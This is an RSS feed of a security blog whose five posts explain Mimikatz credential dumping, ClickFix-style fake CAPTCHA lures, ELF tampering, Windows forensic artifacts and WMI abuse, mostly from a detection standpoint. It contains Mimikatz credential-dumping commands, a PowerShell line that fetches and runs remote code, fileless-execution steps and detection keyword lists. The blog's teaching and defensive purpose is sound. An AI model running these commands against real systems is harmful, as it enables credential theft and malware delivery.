<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Posts on amalbyte</title><link>https://amalbyte.github.io/blog/posts/</link><description>Recent content in Posts on amalbyte</description><generator>Hugo -- gohugo.io</generator><language>en</language><copyright>&lt;a href="https://creativecommons.org/licenses/by-nc/4.0/" target="_blank" rel="noopener">CC BY-NC 4.0&lt;/a></copyright><lastBuildDate>Sun, 01 Feb 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://amalbyte.github.io/blog/posts/index.xml" rel="self" type="application/rss+xml"/><item><title>Mimikatz &amp; the Art of Exploitation</title><link>https://amalbyte.github.io/blog/posts/fourth/</link><pubDate>Sun, 01 Feb 2026 00:00:00 +0000</pubDate><guid>https://amalbyte.github.io/blog/posts/fourth/</guid><description>Mimikatz is a post-exploitation credential dumping tool that is used to extract credentials from the Windows Operating System. The tool was originally created to experiment with the security of authentication protocols and has since been used by security professionals and threat actors to bypass security controls.
Credential dumping LSASS
To perform credential dumping mimikatz leverages the Local Security Authority Subsystem Service (LSASS) which is responsible for the authentication of users and security policies.</description><content type="html"><![CDATA[<p>Mimikatz is a post-exploitation credential dumping tool that is used to extract credentials from the Windows Operating System. The tool was originally created to experiment with the security of authentication protocols and has since been used by security professionals and threat actors to bypass security controls.</p>
<h3 id="credential-dumping">Credential dumping</h3>
<p><em>LSASS</em></p>
<p>To perform credential dumping mimikatz leverages the Local Security Authority Subsystem Service (LSASS) which is responsible for the authentication of users and security policies. LSASS loads the appropriate authentication packages when a user authenticates into a system and retains it in memory to facilitate access to additional resources. Dependent on the protocol, this includes Kerberos granting tickets (TGTs), service tickets, NT password hashes, etc.</p>
<p>Mimikatz parses the LSASS memory structures for cached tickets, usernames and domains once privileged access is obtained via administrative or SYSTEM level privileges. The <code>sekurlsa</code> module is used to extract credentials stored in memory structures maintained by LSASS, this is either done with a dump of the LSASS memory (<code>sekurlsa::minidump &lt;file&gt;</code>) or directly.</p>
<p><em>SAM</em></p>
<p>The lsadump container module is used to target the Security Accounts Manager (SAM) windows registry hive that stores NT password hashes. <code>lsadump::sam</code>, reads data from the SAM and SYSTEM registry hives and extracts local account password hashes.</p>
<p><em>DCSync</em></p>
<p>Mimikatz also provides the ability to abuse Active Directory replication mechanisms (<code>lsadump::dcsync</code>). Using the Directory Replication Service Remote Protocol (MS-DRSR), domain controllers synchronized data, replicated password hashes and request updates for directory objects.The tool uses an account that has the rights to replicate directory changes, authenticates to a domain controller, binds it to the DRSUAPI interface and then sends a request specifying target objects (accounts). Once successfully authenticated, the DC provides the requested data which can include Kerberos keys and NT hashes.</p>
<p><em>ntds.dit</em></p>
<p>The ntds.dit file is the core Active Directory database stored on domain controllers, it contains directory objects such as users, groups and the credentials that are used for authentication.To obtain access to the file, adversaries often create Volume Shadow Copies and copy the SYSTEM file (<code>_C:\Windows\System32\config\SYSTEM_</code>)from the registry to obtain the Boot Key that is needed to decrypt the ntds.dit file.</p>
<h5 id="golden-ticket-attack">Golden Ticket Attack</h5>
<ol>
<li>KRBTGT password hash extracted (<code>lsadump::lsa /inject /name:krbtgt</code>)</li>
<li>Custom TGT created</li>
</ol>
<p>A golden ticket attack is a technique that is used by threat actors to forge custom TGTs after the extraction of a KRBTGT account from a DC. The KRBTGT account is a service account that is used by Kerberos to sign and encrypt every TGT in the domain. By compromising the KRBTGT hash, TGTs can be forged for any user.</p>
<h5 id="pass-the-hash">Pass the Hash</h5>
<p>This technique relies on the use of stolen NT hashes to authenticate into a system. NTLM authentication, simply relies on proof of knowledge of a hash for authentication without further verification. This allows the client computer to compute a response with the stolen hash to any challenge the server presents for authentication.</p>
<h3 id="detection">Detection</h3>
<p><em>PowerShell logging</em></p>
<ol>
<li><code>Invoke-Mimikatz</code></li>
<li><code>sekurlsa::logonpasswords</code></li>
<li><code>Invoke-Expression</code> (iex)</li>
<li><code>Invoke-Kerberoast</code></li>
<li><code>Add-Type</code> + <code>Base64</code> encoded string</li>
<li><code>Start-Process &lt;file path&gt; WindowStyle Hidden</code></li>
</ol>
<p><em>Sysmon</em></p>
<ol>
<li><code>Sysmon Event ID 10</code> (Process access) - monitor for unusual processes accessing LSASS memory</li>
<li><code>Sysmon Event ID 1</code> (Process creation) - monitor for tools like mimikatz.exe, procdump.exe</li>
<li><code>Sysmon Event ID 11</code> (File Creation) - the creation of .dmp files</li>
<li><code>Sysmon Event ID 8</code> (CreateRemoteThread) - mimikatz injection</li>
<li><code>Sysmon Event ID 6</code> (Driver loaded) - unsigned or unusual drivers</li>
<li><code>Sysmon Event ID 7</code> (Image loaded) - injected modules into LSASS, suspicious DLLs</li>
</ol>
<p>Sources:</p>
<p>[1] hxxps://tools[.]thehacker.recipes/mimikatz/modules/sekurlsa/minidump</p>
<p>[2] hxxps://tools.thehacker.recipes/mimikatz/modules/lsadump/dcsync</p>
<p>[3] hxxps://jumpcloud.com/it-index/what-is-the-directory-replication-service-remote-protocol</p>
<p>[4] hxxps://book.hacktricks.wiki/en/windows-hardening/stealing-credentials/index.html</p>
<p>[5] hxxps://learn.microsoft.com/en-us/windows-server/security/windows-authentication/credentials-processes-in-windows-authentication</p>
<p>[6] hxxps://learn.microsoft.com/en-us/troubleshoot/windows-server/windows-security/ntlm-user-authentication</p>
]]></content></item><item><title>ClickFlix to CrashFlix</title><link>https://amalbyte.github.io/blog/posts/fifth/</link><pubDate>Tue, 20 Jan 2026 00:00:00 +0000</pubDate><guid>https://amalbyte.github.io/blog/posts/fifth/</guid><description>The ever changing landscape of cyber security has shown us a change in tactics and techniques when it comes to social engineering. In early 2025, security researchers observed a rise in Clickflix campaigns - a technique that leverages the use of fake verification prompts and error messages to trick users into executing commands.
Implementation: User redirected to malicious website -&amp;gt; Fake CAPTCHA pop-up that asks users to follow the instructions to verify themselves -&amp;gt; Malicious command is pasted by user into the Windows Run Dialog box -&amp;gt; Code is executed</description><content type="html"><![CDATA[<p>The ever changing landscape of cyber security has shown us a change in tactics and techniques when it comes to social engineering. In early 2025, security researchers observed a rise in Clickflix campaigns - a technique that leverages the use of fake verification prompts and error messages to trick users into executing commands.</p>
<h4 id="implementation">Implementation:</h4>
<p><code>User redirected to malicious website -&gt; Fake CAPTCHA pop-up that asks users to follow the instructions to verify themselves -&gt; Malicious command is pasted by user into the Windows Run Dialog box -&gt; Code is executed</code></p>
<p><em>User instructions:</em></p>
<ol>
<li>Ctrl + R - opens the Windows Run Dialog Box</li>
<li>Ctrl + V - pastes the malicious command that was saved to the user&rsquo;s clipboard via the ClipboardAPI</li>
<li>Press enter</li>
</ol>
<p>e.g <code>powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command &quot;IEX (Invoke-WebRequest '&lt;URL&gt;')&quot;</code></p>
<h5 id="mitre-overview">MITRE overview:</h5>
<ol>
<li>Phishing (T1566)</li>
<li>Clipboard manipulation (T1115)</li>
<li>Event triggered execution ( T1546)</li>
<li>PowerShell execution (T1059.001)</li>
<li>Payload download</li>
</ol>
<h5 id="lummastealer">LummaStealer</h5>
<p>LummaStealer (LummaC2) an information stealing malware sold as a malware-as-a-service (MaaS) contributed to the rise of the ClickFlix campaign by using it to deliver the infostealer malware on the devices of victims. Designed to harvest credentials from Chromium based browsers it is typically distributed through phishing emails and communicates with a C2 channel to exfiltrate stolen data.</p>
<p>On May 21, 2025 Microsoft announced the takedown of 2,300 malicious domains that were used as part of the Lumma Stealer infrastructure leading to a noticeable drop in ClickFlix style lures.</p>
<h5 id="fileflix">FileFlix:</h5>
<p>Similar to the ClickFlix technique, this technique lures the user into following instructions and clicking on a button to start &ldquo;a webpage verification process&rdquo;, this opens the default file manager on either Windows (File Explorer) or macOS (Finder). The victim is then instructed to paste a file path into the address bar where a PowerShell command is instead copied to the clipboard and executed once the user clicks Enter.</p>
<h5 id="click-bsod">Click BSOD:</h5>
<p>This technique displays an animation mimicking the Windows Blue Screen of Death (BSOD) with &lsquo;recovery instructions&rsquo; for the user to follow. Once followed a malicious PowerShell command is silently copied to the clipboard and executed.</p>
<h5 id="crashflix">CrashFlix:</h5>
<p>This ClickFlix variant intentionally crashes the browser and presents a fake alert that instructs the user to type in a series of Windows Shortcuts, which copies the malicious code and executes it. Interestingly enough the pop-up implements anti-analysis techniques and prevents users from inspecting the page by blocking keyboard shortcuts for DevTools.</p>
<h5 id="lessons-learned">Lessons Learned:</h5>
<ol>
<li>Limit user permissions (disable PowerShell for users that don&rsquo;t need it)</li>
<li>Enable PowerShell logging</li>
<li>Implement Windows Defender Application Control (WDAC)</li>
</ol>
<p>Sources:</p>
<p>[1] hxxps[:]//www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape</p>
<p>[2] hxxps://www.huntress.com/blog/dont-sweat-clickfix-techniques</p>
<p>[3] hxxps://www.microsoft.com/en-us/security/blog/2025/05/21/lumma-stealer-breaking-down-the-delivery-techniques-and-capabilities-of-a-prolific-infostealer/</p>
<p>[4] hxxps://cybersecuritynews.com/new-clickfix-attack-uses-fake-windows-bsod-screens/</p>
<p>[5] hxxps://www.huntress.com/blog/malicious-browser-extention-crashfix-kongtuke</p>
<p>[6] hxxps://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/</p>
]]></content></item><item><title>Abusing the ELF Format</title><link>https://amalbyte.github.io/blog/posts/third/</link><pubDate>Mon, 05 Jan 2026 00:00:00 +0000</pubDate><guid>https://amalbyte.github.io/blog/posts/third/</guid><description>ELF (Executable and Linkable Format): The ELF format defines the structure for executables, shared libraries and core dumps in Unix-like systems. From a detection-engineering perspective, it&amp;rsquo;s important to understand not just how ELF files are supposed to look, but also how malware authors commonly manipulate them to evade static analysis.
ELF files consist of:
ELF Header Program Header Table (segments) Section Header Table (sections) Data ELF file headers contain information about the file like the location of the program, type, entry point address etc.</description><content type="html"><![CDATA[<h3 id="elf-executable-and-linkable-format">ELF (Executable and Linkable Format):</h3>
<p>The ELF format defines the structure for executables, shared libraries and core dumps in Unix-like systems. From a detection-engineering perspective, it&rsquo;s important to understand not just how ELF files are <em>supposed</em> to look, but also how malware authors commonly manipulate them to evade static analysis.</p>
<p>ELF files consist of:</p>
<ol>
<li>ELF Header</li>
<li>Program Header Table (segments)</li>
<li>Section Header Table (sections)</li>
<li>Data</li>
</ol>
<p>ELF file headers contain information about the file like the location of the program, type, entry point address etc. This helps the OS to understand how to load and execute the file.</p>
<p>Oftentimes, attackers tamper with the section header table, the section header defines all the sections contained in the file. Tampering with the section header does not break the malware because the data is not needed by the Linux loader in order to run the program, instead it makes it harder for analysts to understand the file structure because the tools are no longer able to classify the sections of data (functions, strings). At runtime, the OS loads segments (which consist of zero or more sections), defines which parts of the file are mapped into memory and at which virtual addresses, along with its permissions.</p>
<p><em>Example:</em></p>
<p>Let&rsquo;s look at a YARA rule that detects binaries packed with UPX. UPX is an advanced executable file compressor that reduces the file size of programs and DLLs, although used for legitimate purposes it&rsquo;s also used for malicious purposes.</p>
<p>Because UPX is a packer (packing - a technique where contents of a binary file are compressed or encrypted to make the file smaller or to hide the real code until runtime) it&rsquo;s used by malware authors to obfuscate their binaries.</p>
<p>rule Detect_UPX_Packed_ELF</p>
<p>{</p>
<pre><code>`meta:`

    `description = &quot;Detects ELF binaries packed with UPX&quot;`

`condition:`

    `uint32(0) == 0x7F454C46 and  // ELF magic`
    `for any s in (&quot;.upx0&quot;, &quot;.upx1&quot;) : ( section.name == s )`
</code></pre>
<p>}</p>
<p>UPX packed binaries often have section names &lsquo;.upx0&rsquo; and &lsquo;.upx1&rsquo;, because of this threat actors often remove the section headers or rename these sections to evade detection. So, if there are detection rules that are specifically focused on detecting these binaries via section names, they will ultimately pass through without being detected (weak detection, but it&rsquo;s fine for example purposes!)</p>
<p><code>ELF section headers -&gt; (tampered with)-&gt; detection rule fails</code></p>
<h3 id="memory-mappings">Memory Mappings</h3>
<p>The loader reads the program header table and maps segments into memory, therefore if the section headers and the metadata is tampered with we can investigate every running process to identify whether there are memory mappings which don&rsquo;t align with program headers. By inspecting <code>/proc/&lt;pid&gt;/maps</code> and comparing it with the live memory view with <code>readelf -l &lt;binary&gt;</code> we can observe whether the memory regions correspond with each other as dispensaries usually suggest runtime injection, reflective loading etc.</p>
<h5 id="memfd_create-abuse">memfd_create Abuse:</h5>
<p>The <code>memfd_create</code> system call creates an anonymous (no persistent file system entry and directory linkage), file object that behaves like a regular file that supports standard file operations. This allows the ELF loader to parse it normally and bypass file integrity monitoring while evading disk-based scanning.</p>
<ol>
<li>Download ELF payload into memory</li>
<li>Write it to <code>memfd_create</code></li>
<li>Replace current process image with new program (<code>execve()</code>)</li>
</ol>
<p><em>Sources:</em></p>
<p>[1] hxxps://wiki.osdev[.]org/ELF</p>
<p>[2] hxxps://linux-audit[.]com/elf-binaries-on-linux-understanding-and-analysis/</p>
<p>[3] hxxps://nu11busters[.]github[.]io/rust-maldev-course/evasion/fileless-execution/</p>
<p>[4] hxxps://www[.]man7[.]org/linux/man-pages/man2/execve.2.html</p>
]]></content></item><item><title>Windows Forensics: Hidden Execution</title><link>https://amalbyte.github.io/blog/posts/second/</link><pubDate>Sun, 21 Dec 2025 00:00:00 +0000</pubDate><guid>https://amalbyte.github.io/blog/posts/second/</guid><description>There are various methods one could employ to hide the execution of commands, whether it be via process injection or simply hiding the console window. Luckily for us, there are also many artifacts we could utilize to put the pieces together. To start things off it would be good to look into application shimming.
Application Shimming (T1546.011) Application shimming is a Windows feature designed to maintain compatibility for older software.</description><content type="html"><![CDATA[<p>There are various methods one could employ to hide the execution of commands, whether it be via process injection or simply hiding the console window. Luckily for us, there are also many artifacts we could utilize to put the pieces together. To start things off it would be good to look into application shimming.</p>
<h2 id="application-shimming-t1546011">Application Shimming (T1546.011)</h2>
<p>Application shimming is a Windows feature designed to maintain compatibility for older software.</p>
<p><em>Process:</em></p>
<p><code>Program starts - Shim is applied and loaded (if needed)</code></p>
<p>Adversaries abuse this future by creating malicious shims and linking them to legitimate programs.Shims are designed to run in user mode so they cannot directly change the Windows Kernel, administrator privileges are required to install a shim.</p>
<h2 id="prefetch">Prefetch</h2>
<p>Windows Prefetch files store a record of execution whenever a process is run. So, for every process that is executed, there is a .pf (Prefetch) file that is created. Parsing these files can be easily done with the use of Prefetch Explorer (PECmd.exe). These files contain:</p>
<p><code>a. Executable name</code></p>
<p><code>b. Execution time: the first and last seven execution timestamps (total of 8)</code></p>
<p><code>c. Path of the application</code></p>
<p><code>d. Execution count</code></p>
<p><code>e. List of files/DLLs the application interacted with during the first 10 seconds</code></p>
<p>Prefetch files were created for the purpose of increasing the speed of application launches by caching the required resources to decrease the need for disk access. The naming convention of these files consist of the executed binary and a hash.</p>
<p><code>CONHOST.EXE-B0F7681B.pf</code></p>
<p>As expected, the oldest files are removed first to make space once the maximum number of Prefetch files is reached.Deleting these files or the entire folder itself, generates more artifacts and is really noisy. The details of the deleted files can be found from system logfiles and is easily detectable by security tools. For this reason, it is generally recommended for the Prefetch directory to remain untouched.</p>
<p>Specific to Windows XP (<em>outdated but interesting</em>):</p>
<p><em>If tampering with .pf files is of interest, stalling an application for more than 10 seconds (due to the mechanism of the cache manager) during startup will cause the captured information to be considerably less.</em></p>
<p>Later versions of Windows do not limit file access tracing to the first 10 seconds, and executables are monitored during the startup phase instead of a fixed duration.</p>
<h2 id="shimcache">Shimcache</h2>
<p>Shimcache, is part of the Application Compatibility system, which helps applications run on newer systems by storing metadata about executable files. Also known as &ldquo;AppCompatCache&rdquo;, shimcache is an artifact that&rsquo;s used to track programs that have been executed on a system.</p>
<p>It is useful for learning about programs that were present on a system, the location of the program and the timestamp of the file&rsquo;s last modified time depending on the OS version. Shimcache entries <em>CANNOT</em> reliably be used to prove execution, the cache can only serve as an indicator of a program&rsquo;s existence because entries are also created when files are viewed, indexed, scanned, etc.</p>
<p>The cache is binary-encoded, viewing the contents can be done so with Forensic tools. Zimmerman&rsquo;s AppCompatCacheParser, was updated to reflect that execution can <em>sometimes</em> be indicated from the presence of an execution flag for some non-native binaries. Further research from nullsec also proves that additional artifacts are needed in order to rely on the execution value.</p>
<h2 id="amcache">Amcache</h2>
<p>AmCache is a Windows artifact that stores the metadata of executable files and installed applications, often providing evidence of program execution.The main purpose of the AmCache is to enhance the performance and capability of programs running in different environments.</p>
<p>AmCache.hve file is located at <code>C:\Windows\appcompat\Programs\Amcache.hve</code></p>
<p><code>Sources:</code></p>
<p>[1] nullsec[.]us/windows-10-11-appcompatcache-deep-dive/</p>
<p>[2] nullsec[.]us/appcompatcache-part-3/</p>
<p>[3] 13Cubed - # Let&rsquo;s Talk About Shimcache - The Most Misunderstood Artifact</p>
]]></content></item><item><title>Everything WMI</title><link>https://amalbyte.github.io/blog/posts/first/</link><pubDate>Mon, 08 Dec 2025 00:00:00 +0000</pubDate><guid>https://amalbyte.github.io/blog/posts/first/</guid><description>Let&amp;rsquo;s get into the goldmine that is WMI&amp;hellip;
Windows Management Instrumentation (WMI) is the infrastructure for management data and operations on Windows-based operating systems. It is used by developers and system administrators to manage and interact with system internals. This also means that it&amp;rsquo;s abused by attackers in order to move laterally throughout a system, establish fileless persistence and store payloads in memory.
Communication Traditionally, WMI queries used DCOM via RPC (Remote Procedure Call) which utilized random high ports (Make yourself at home!</description><content type="html"><![CDATA[<p>Let&rsquo;s get into the goldmine that is WMI&hellip;</p>
<p>Windows Management Instrumentation (WMI) is the infrastructure for management data and operations on Windows-based operating systems. It is used by developers and system administrators to manage and interact with system internals. This also means that it&rsquo;s abused by attackers in order to move laterally throughout a system, establish fileless persistence and store payloads in memory.</p>
<h3 id="communication">Communication</h3>
<p>Traditionally, WMI queries used DCOM via RPC (Remote Procedure Call) which utilized random high ports (<em>Make yourself at home!</em> ). WinRM (Windows Remote Management) was later introduced, this time with only ports 5985 (HTTP) and 5986 (HTTPS)  being exposed by default.</p>
<p>Remote queries are executed using WinRM as a protocol to transport requests and responses. Local queries are handled via COM (Component Object Model) in order to interact with WMI providers.</p>
<h2 id="core-components">Core Components:</h2>
<h4 id="wmi-providers">WMI Providers:</h4>
<p>A WMI provider is a COM object that provides data to WMI or performs actions on behalf of WMI consumers. They are made up of a DLL file and a Managed Object Format (MOF) file, which are stored in %WINDIR%\System32\Wbem. These providers expose a specific set of classes/instances to consumers and communicate with WMI by using the COM based WMI Provider API.</p>
<h4 id="wmi-infrastructure">WMI Infrastructure:</h4>
<p>The WMI infrastructure also known as the WMI service (winmgmt), is made up of the WMI Core and WMI repository. The WMI repository stores WMI class definitions, namespaces, static configuration data while the WMI Core is the runtime engine that receives queries, invokes providers  and manages data.</p>
<p>Although the WMI service creates some namespaces at system startup, most are created by applications and drivers which makes it important to monitor, such that malicious classes are not created under obscure namespaces.</p>
<h4 id="wmi-consumers">WMI Consumers:</h4>
<p>WMI consumers are any scripts/applications that query WMI or receive WMI events. This could be an EDR agent that is interacting with WMI to query data. The data available to consumers is only accessible via providers.</p>
<h4 id="wmiprvseexe">WmiPrvSE.exe:</h4>
<p>WmiPrvSE.exe is the WMI Provider Host which is part of the WMI component. It is a host process that loads and executes WMI provider DLLs.</p>
<p>This means that unlike winmgmt.exe which receives requests, wmiprvse.exe enumerates processes and executes requests.</p>
<p>The WmiPrvSE.exe file is typically located in the directory <code>C:\Windows\System32\wbem</code>. In 32-bit systems, it can also be found in <code>C:\Windows\SysWOW64\wbem</code>.</p>
<h3 id="high-cpu-usage">High CPU Usage:</h3>
<p>Oftentimes, WMI gets mistaken for malware because of its high CPU usage from WmiPrvSe.exe,  which is often caused by &ldquo;chatty&rdquo; or misconfigured applications that use WMI to gather system data. These applications usually use WMI to pull information like running processes, service status, installed drivers etc</p>
<p>Now this can also mean that there&rsquo;s a malicious script that happens to be repeatedly executing commands but then again it is but only one IOC and should be thoroughly verified.</p>
<h3 id="suspicious-child-processes--abnormal-commands">Suspicious child processes &amp; abnormal commands</h3>
<p>From a detection standpoint, all child processes from WmiPrvSe.exe should be monitored. Due to its nature, DLLs and multiple instances are continuously spawned making it a lucrative target for attackers to take advantage of. It is what many would call a <a href="https://lolbas-project.github.io/lolbas/Binaries/Wmic/">LOLBIN</a>.</p>
<p><strong>Example:</strong> <em>Remote Command Execution</em></p>
<p>Running a WMI command such as <code>Invoke-WebRequest</code>, causes Powershell to call the WMI service which calls WmiPrvse.exe making it the parent process that is responsible for the execution.</p>
<p><code>Powershell.exe -&gt; Wmiprvse.exe -&gt; cmd.exe</code></p>
<ol>
<li>Command is initiated via Powershell</li>
<li>Powershell interacts with WMI on target machine</li>
<li>WMI service receives request + command is executed</li>
<li>cmd.exe is launched to execute command</li>
<li>WMI service sends back response to local machine</li>
</ol>
<h3 id="persistence-via-event-subscriptions">Persistence via Event Subscriptions</h3>
<p>Event subscriptions allow specific events to be monitored and notified by executing actions automatically when specific events occur.</p>
<p>In order to do so, your subscription must be composed of:</p>
<ol>
<li>Event filter - Criteria that must be met for event to trigger</li>
<li>Event Consumer - Action that occurs when conditions are met</li>
<li>Binding - Ties the filter to the consumer, ensures that the consumer is executed once the filter condition is met.</li>
</ol>
<p>WMI event subscriptions are not saved to a permanent location on the disk, making it harder for payloads to be detected by security tools. They can however survive reboots, a mechanism which allows subscriptions to triggered right after system start up making it easier for persistence. This could be done using the WMI  <code>__InstanceCreationEvent</code>   to run a payload every time a new process/service is created.</p>
<h3 id="recon">Recon</h3>
<p>Using the Win32_Process for recon would allow attackers to understand all of the processes running on a system.</p>
<p><code>Get-CimInstance -ClassName Win32_Process</code></p>
<p>To get information about the network for lateral movement they would want to use
<code>Get-CimInstance -ClassName Win32_ComputerSystem</code></p>
<p>For user information in AD environments, WMI queries are usually combined with other techniques because WMI is not designed to have access to extensive information from AD and would require domain admin level privileges.</p>
<p>LDAP queries  are better suited for interacting with AD services and getting detailed user information whereas WMI queries are suited for information related to a computers local configuration.</p>
]]></content></item></channel></rss>